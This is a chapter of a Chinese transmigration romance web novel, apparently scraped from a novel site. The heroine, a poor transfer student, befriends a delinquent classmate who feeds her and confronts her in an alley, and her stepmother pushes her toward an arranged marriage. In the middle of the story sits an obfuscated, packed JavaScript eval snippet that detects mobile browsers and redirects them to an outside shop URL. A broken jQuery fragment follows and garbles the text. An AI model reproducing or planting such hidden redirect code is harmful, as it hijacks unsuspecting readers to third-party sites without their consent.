文趣网 > 其他小说 > 男主为什么总在倒贴[快穿] > 2. 呆萌病弱转校生x不服就干混球校霸2
    云檀二中在本市小有名气,以师资力量雄厚,学校规章严明,学生升学率高这三大优点长久屹立不倒,深受家长喜爱,周围的学区房价格更是涨到飞起。

    藏眠小口咬着手上的一块钱包子,凭借可爱的样貌被门口检查仪容的老师轻松放行,边走边捏着手指数自己接下来一日三餐的开销。

    早餐吃一块钱的包子,中午吃六块钱的小馄炖,晚上不吃,二十块钱,她大概能花……

    花……

    她叹了口气。

    哪怕算成爱因斯坦,二十块也不能花十天,这让藏眠有些苦恼。

    包子很小,两三口下肚,她没饱。

    高三学业强,任务重,整片高三区压抑着成片的乌云和阴霾,藏眠转学过来,班主任只要求她简单作个自我介绍,就将她安排到最后一排。

    也就是陆野旁边。

    不过现在,早读已经开始,那个位置还是空荡荡的。

    “陆野,你校服呢?没穿校服,出去罚站,早读后再进来。”班主任见姗姗来迟的陆妄,一个头两个大,气的法令纹都深了几度。

    陆野这个学生,仗着家里的关系,逃课、打架、缺考、交白卷,干的事罄竹难书,是云檀二中有名的刺头。

    藏眠回头看去。

    陆野白T黑裤,翻了个白眼,也不辩解,一副吊儿郎当随性模样。

    罚站,对他来说是早就是家常便饭,把书包往门外一丢,迈着长腿就往外走。

    陆野的校服昨天已经被她手洗干净,破掉的地方也小心的用针线缝好,经过烘干机一整晚的烘烤,现下,正整洁安静的躺在她的书包里。

    不管他是真不想穿还是假不想穿,都是因为她,导致他被罚站。

    藏眠对此感觉很不好意思,揪着班主任的袖子替他解释,“老师,他不是故意没带校服,他的校服其实在我这。”

    听到她越描越黑的解释,陆野狭长冷峻的眉眼沉了下来,冷冷瞪着她。

    班主任眼神在两人之间转了一圈,摁住她要拉开书包的手,了然了,摆摆手,有种白菜被人拱了的痛心,“进去吧。”

    随后一副过来人姿态提醒藏眠,“你少和他接触,高三了,学习才是王道,以后到了大学,想找什么样的没有。”

    藏眠眨眨眼,算是回应。

    陆野捡起书包,冷哼一声,经过她时说了句,“多管闲事。”

    藏眠自知理亏,乖乖跟在他后面,等陆野坐到窗边准备将书包放到身旁空位到凳子上,她顺势坐了上去,获得了今天的第二次冷眼。

    “艹,阴魂不散。”

    陆野大力的把课本甩到桌上,气的头皮发晕。

    被自己喜欢的人讨厌,藏眠眼眸酸涩难忍,咬着唇从书包里掏出校服,像小偷交接一样,小心谨慎把外套轻放到他腿上。

    她小心翼翼道:“谢谢你的外套,我洗了好几遍,现在还给你。”

    陆野不想与她说话,随手把外套塞进桌洞,干净整洁的布料瞬间充满褶皱,滑腻带着香气的触感让他有些恶心。

    他讨厌别人的接触,旁人碰过的东西更是不屑再穿,被人一而再再而三越界触碰,又碍于她是女生,只能拿出书包里的早餐泄愤咬了一口。

    陆野随意掏出一本书放到桌上展开挡住,拿出包里的手机开始聊天。

    L:我好像被人赖上了。

    手撕班主任:野哥,您风流倜傥玉树临风,迷妹众多,云檀二中的女生哪个不想赖上你?这种时候就不要再凡尔赛了。

    是个帅哥:野哥,一会逃课去打球?

    L:我说真的,而且不仅赖上我,现在好像还想吃我的早饭。

    火腿的焦香、芝士的咸香以及鸡蛋的清香,搭配吐司面包,那种勾的人流口水的香味直往藏眠的鼻孔里钻。

    肚子饿的忍不住“咕噜”叫唤。

    那三口的小包子早已消化殆尽,陆野身量高、胃口大,巴掌大的三明治一口咬掉了三分之一,吃的嘴角沾酱,冷硬的眉眼都软了下来。

    藏眠一边被美色诱惑,一边被美食勾引,用书挡在脸前只露出眼睛,偷看他和三明治,馋的舔嘴直流口水。

    看的久了,这种“变态”行径就被陆野发现了端倪。

    是个帅哥:不能吧,连饭都没得吃,你被乞丐缠上了?要不要替你报警。

    手撕班主任:这种情况不应该报警,更应该打扶贫办电话吧,这年头还有人吃不饱饭?

    若是藏眠能看到这条消息,一定会咬着手绢泣不成声:是的,她没吃饱,都脱贫好几年了,她竟然还吃不饱,她饿……

    不过这些藏眠都不知道。

    原身木恬幼时发过一次高烧,致使智商下降,学习吃力,木父对她本就少得可怜的父爱在日复一日的嫌弃中消磨殆尽。

    她穿越到这具身体,自然会继承这具身体的一切有优缺点,看着犹如外星文一样的英语单词,欲哭无泪,放弃继续学习的想法。

    反正过段时间她就要辍学去大专,学习什么的,对于完成任务没有任何帮助。

    正这样想着。

    陆野警惕放下手机,猫着腰,像一条滑腻的泥鳅穿到教室后门,过了几秒后又滑溜的跑了回来。

    藏眠以为他准备逃课,落了什么东西回来拿,没想到怀里骤然被丢了一块吐司三明治。

    陆野语气生硬,“没毒,爱吃不吃。”

    藏眠瞳孔瞪大。

    她本以为陆野是去逃课,根本没想到是去给她拿饭,原本只是淡淡的喜欢在此刻加深了不少。

    撕开包装,里面是和陆野同款的吐司三明治,配料比他还要丰厚,一口咬下去,从嘴香到胃里。

    “好好吃,谢谢你,你真是大好人,你怎么知道我没吃饱?这吐司好松软,培根煎的恰到好处,肉松也好吃……”

    “有毒也没关系,毒死前能吃这么饱,我也乐意。”

    少女皮肤白皙细腻,眼眸黑如耀石,睫毛浓密,笑的时候脸庞会有两个小酒窝,捧着比两只手还大的三明治,两腮一鼓一鼓,像小花鼠。

    身材比同龄人瘦弱的多,营养不良到校服松垮的挂在身上。

    见鬼了。

    看到她这个模样。

    陆野眸子翻涌起莫名的情绪,心脏古怪的抽痛起来,莫不是生病了?

    嘴巴依旧不饶人,“慢点吃,噎死了我还得赔钱。”

    藏眠感动落泪,“谢谢,你为什么要给我吃的?抱歉,我没什么能报答你的。”

    陆野冷哼,“怕你饿的把我吃了,不差钱,不用报答我,你离我远点就行了。”

    “好,我尽量。”

    真讽刺,这个世界上对她最好的人竟然是一个只有两面之缘的陌生人,不怪原主痴迷,谁能忍住不爱。

    等到她把情书送到,不用他说,他们之间的缘分也就到了尽头。

    “最好这样。”

    *

    早读过后是一整天的学习时间,陆野早读结束就消失了,直到晚自习结束,九点整,藏眠也没见到陆野的身影。

    藏眠顺着零零散散的高三生走出校门,夜空如幕,秋风一吹,她冷的瑟缩两下,拢了拢衣袖,低着头往家走去。

    一路上,她都有些惴惴不安。

    继母的女儿一直视她为眼中钉,她买通了附近的混混,时不时要求他们对她进行围追堵截、霸凌索钱,木恬每遇见一次,都要脱一层皮才能从他们手底下脱身。

    暗淡的路灯昏黄不堪,乌黑的四周像一个巨盆大口,将人吞噬进去,零星凄惨的猫叫更是让她胆战心惊。

    藏眠捏着书包带,怕的想哭。

    远处的巷子里突然钻出个人来,藏眠打眼一瞧,竟是陆野。

    看到熟人。

    不知怎么,她悬浮的心顿时安定下来,快走几步,跟在他身后,与他保持不远不近的距离。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913400|213225||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    陆野武力极高,行为狠戾,又没有软肋和弱点,方圆百里的人见了他都会避其锋芒。

    毕竟谁会闲来无事去招惹一条疯狗。

    前方拐角处,藏眠转过拐角想找寻陆野的踪迹,忽觉背后一凉,她就被一双大手摁住肩膀死死压在墙上。

    “跟踪我,胆子挺大。”

    糟糕,被发现了。

    藏眠心底发怵,咬着嘴唇强忍肩膀的疼痛。

    若是她猜的没错,被捏住的那块地方应该已经青了。

    见迟迟没有回答,陆野又靠得近些,语气冷的冻人,“说话,不要让我问第三遍。”

    藏眠被吓得一哆嗦,她害怕,就全招了,“天太黑了,我害怕,正好看见你,我们又刚好顺路,就想着跟在你后面,我不是故意跟踪你的……”

    藏眠说完,趁着月色偷偷瞧了陆野一眼,明灭的灯光下,他的眼神危险的眯起。

    “你要是不喜欢,我可以跟你道歉……对不起……”

    藏眠语气越来越小,到最后甚至和小声嘟囔差不多。

    “怎么道歉?”

    少年步步紧逼。

    两人身体贴的更近了,陆野刚打完架,浑身的血腥气和少年的滚烫热意扑在藏眠身上。

    少年身量极高,骨架宽大,肌肉匀称,刚打完架肌肉膨胀,单手便能将藏眠整个桎梏在身下,巨大的阴影笼罩在她头顶,压迫感十足。

    她就像是被捕捉到蛛网的蝴蝶,拼尽全力无法挣脱。

    若是她说不出个所以然来,他今晚大概不会放过她。

    她低头不知怎么办,忽见一抹红色。

    “你受伤了?”

    打架难免受伤,陆野皮糙肉厚,捏着她肩膀的手腕处有一寸长的伤口,已经结痂。

    这种小伤,陆野身上多了去,更不会在意。

    谁料。

    藏眠轻捏他手腕,垂首朝伤口吹了吹。

    吹不能止疼,但可以起到心理安慰的作用。

    陆野的反应倒是极大,猛的缩回右手,像是被蜂蜇了。

    他瞳孔圆瞪,斥责道:“你做什么?”

    “吹一吹,就不疼了。”

    藏眠眨眨眼,拉开书包,解释道:“我包里有创可贴,贴一个吧,伤口有些深,你回家最好冲洗一下,小伤也不能掉以轻心。”

    被吹的伤口蓦然有些痒。

    陆野气急败坏,“我不需要。”

    这次藏眠没有退缩,强硬把创可贴塞到他手里,“就当是谢礼,谢谢你昨天救了我。”

    “哼。”

    陆野捏着那带着少女香气的猫咪创可贴,心头不悦,却又鬼使神差攥进手心。

    窄巷幽长,位置颠倒,藏眠走在前头,陆也不紧不慢跟在后头,待亲眼见藏眠进了那宽宅大院,盯着看了会,方像想起什么,把创可贴随手丢进一旁的垃圾桶,走了。

    “这么晚才回来,你不会在外面鬼混了吧?”

    刚进家门。

    江容,也就是藏眠的继母,坐在客厅,染了红指甲的手捏着水杯,一脸嫌弃。

    藏眠乖巧点头,主动伏低做小,打算搪塞过去回去睡觉,“走得慢了一些,我下次会快点。”

    江容想起什么,起身挤出笑脸,伸手摸她的头,“怕什么,我可是你妈妈,怎么会害你,你也老大不小了,学习不行,早点替自己找个夫家才是正事。”

    “我闺蜜的儿子,有钱有颜,待人温和,是个良配,若不是看在我的面子上,这种好人家不会落在你头上。”

    原来的剧情,江容替木恬找的夫家是个上职高的混混富二代,为了提前联络感情,故意让她退学上大专,间接导致木恬心脏病发作去世。

    哪怕早有预料,藏眠也没想到剧情走的这么快。

    她不愿嫁给不喜欢的人,却又无力打破框架与囚笼,想到这,心中悲凉无比,无奈点头。

    “我知道了,母亲。”